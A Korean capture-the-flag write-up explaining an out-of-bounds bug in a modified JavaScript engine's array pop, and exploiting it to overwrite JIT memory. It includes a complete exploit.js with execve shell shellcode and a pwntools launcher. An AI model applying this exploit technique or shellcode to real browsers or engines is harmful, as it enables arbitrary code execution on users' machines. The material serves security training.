문제
OOB 취약점
Array의 length 값을 속여서 해당 length 만큼의 메모리를 read/write 할 수 있는 취약점이다. (해당 영역에 read/write 권한이 있는 경우)
javascript 엔진 코드 안의 Array length의 최대 크기는 0xffffffff으로 정의되어 있다.
JIT (Just-In-Time Compilation), Dynamic Translation
C, C++ 에서 하는 것처럼 프로그램을 실행하기 전에 처음 한 번 컴파일하는 대신, 프로그램을 실행하는 시점에 필요한 부분을 즉석해서 컴파일하는 방식
속도 향상을 위해서 자주 쓰이는 코드를 캐싱하여 메모리에 올려 놓음으로써 같은 함수가 여러 번 불릴 때 기계어 코드를 반복해서 생성하는 것을 방지한다.
이 때 주목해야 할 점은 해당 메모리 영역에 read/write/exec 권한이 모두 부여된다는 점이다.
변경 코드와 원래 코드를 diff한 결과는 다음과 같다.
JBBool
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
...
if(index==0)
{
args.rval().setUndefined();
}
else
{
...
}
if(obj->isNative() && obj->getDenseInitializedLength() > index)
obj->setDenseInitializedLength(index);
}
즉, 변경된 코드에서는 index (Array의 length를 저장하고 있는 변수)가 0일 때 Array의 index에 별다른 처리를 해주지 않는다. 따라서 Array의 length가 0일 때 pop을 하면 length 값을 0xffffffff으로 만들 수 있어서 OOB 취약점을 이용할 수 있다.
exploit 방법
- Uint32Array의 헤더를 찾기 위해서 for문을 반복하면 해당 코드가 JIT 때문에 메모리 영역에 올라간다.
- Uint32Array 헤더를 통해서 Uint32Array의 데이터가 저장된 곳을 (heap 영역) 뒤지다 보면 JIT 주소가 저장되어 있는 것을 볼 수 있다.
- OOB 취약점을 이용해서 힙 영역에서 JIT 주소를 읽어온다.
- OOB 취약점을 이용해서 Uint32Array의 헤더를 변경해서 Uint32Array의 헤더에서 데이터 영역의 주소를 가리키고 있는 부분을 JIT 주소로 변경한다.
- Uint32Array를 통해서 JIT 영역의 코드를 쉘 코드로 덮어쓴다.
주의할 점 1
Array를 만들 때 데이터를 크게 생성하면 데이터가 저장되는 영역이 헤더와 멀리 떨어진 곳에 할당되어서 Uint32Array의 헤더를 못 찾을 수도 있다.
Array의 데이터 크기를 크게 할당할 떄 메모리 구조
0x100 OOB Array의 헤더(배열의 크기, 데이터 포인터 포함) 0x200 Uint32Array의 헤더(배열의 크기, 데이터 포인터 포함) 0x300 Uint32Array의 데이터 ..... 0x1000 OOB Array의 데이터
Array의 데이터 크기를 작게 할당할 때 메모리 구조
0x100 OOB Array의 헤더(배열의 크기, 데이터 포인터 포함) 0x120 OOB Array의 데이터 ..... 0x200 Uint32Array의 헤더(배열의 크기, 데이터 포인터 포함) 0x300 Uint32Array의 데이터
주의할 점 2
Array를 이용해서 메모리에 저장되어 있는 값을 read할 때 hex값으로 출력되지 않는다. 메모리에 저장되어 있느 값을 float 형으로 읽어온다. javascript의 array들은 해당 값의 raw 버젼인 binary 데이터를 다루기 위해서 Arraybuffer를 제공한다. (object.buffer를 통해서 binary 데이터를 뽑을 수 있다.)
풀이
exploit.js
function d_to_i2(d){
var a = new Uint32Array(new Float64Array([d]).buffer);
return [a[1], a[0]];
}
function i2_to_d(x){
return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
}
function i2_to_hex(i2){
var v1 = ("00000000" + i2[0].toString(16)).substr(-8);
var v2 = ("00000000" + i2[1].toString(16)).substr(-8);
return [v1,v2];
}
function p_i2(d){
print(i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1])
}
var oob_Array=new Array(1)
oob_Array[0]=0x41414141
var uint32_Array=new Uint32Array(0x3333)
for(var i=0; i<0x3333; i=i+1) {uint32_Array[i]=0x4141414141}
oob_Array.pop()
oob_Array.pop()
uint32_baseaddress_offset=0
for (i=0; i<0x10000; i++)
{
if(oob_Array[i]==0x3333)
{
print('uInt32Array found');
uint32_baseaddress_offset=i+2
break;
}
}
var uint32_addr=(d_to_i2(oob_Array[uint32_baseaddress_offset]));
oob_Array[uint32_baseaddress_offset] = i2_to_d([uint32_addr[0],uint32_addr[1]+(0x3333*4)+0x104])
p_i2(oob_Array[uint32_baseaddress_offset])
oob_Array[uint32_baseaddress_offset] = i2_to_d([uint32_Array[1],uint32_Array[0]])
p_i2(oob_Array[uint32_baseaddress_offset])
var shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x90"
for(i=0;i<shellcode.length;i+=4)
{
var tmp=shellcode[i+3]+shellcode[i+2]+shellcode[i+1]+shellcode[i];
var shell=tmp[0].charCodeAt() << 24 | tmp[1].charCodeAt() << 16 | tmp[2].charCodeAt() <<8 | tmp[3].charCodeAt()
uint32_Array[i/4]=shell;
}
for (i=0; i<0x10000; i++)
{
if(oob_Array[i]==0x3333)
{
print('uInt32Array found');
uint32_baseaddress_offset=i+2
break;
}
}
exploit.py
#!/usr/bin/python
from pwn import *
file_path="/home/sungyun/round5/js_world/js"
p=process(file_path)
f=open("/home/sungyun/round5/js_world/exploit.js",'rb')
data=f.read()
p.sendline(data)
p.interactive()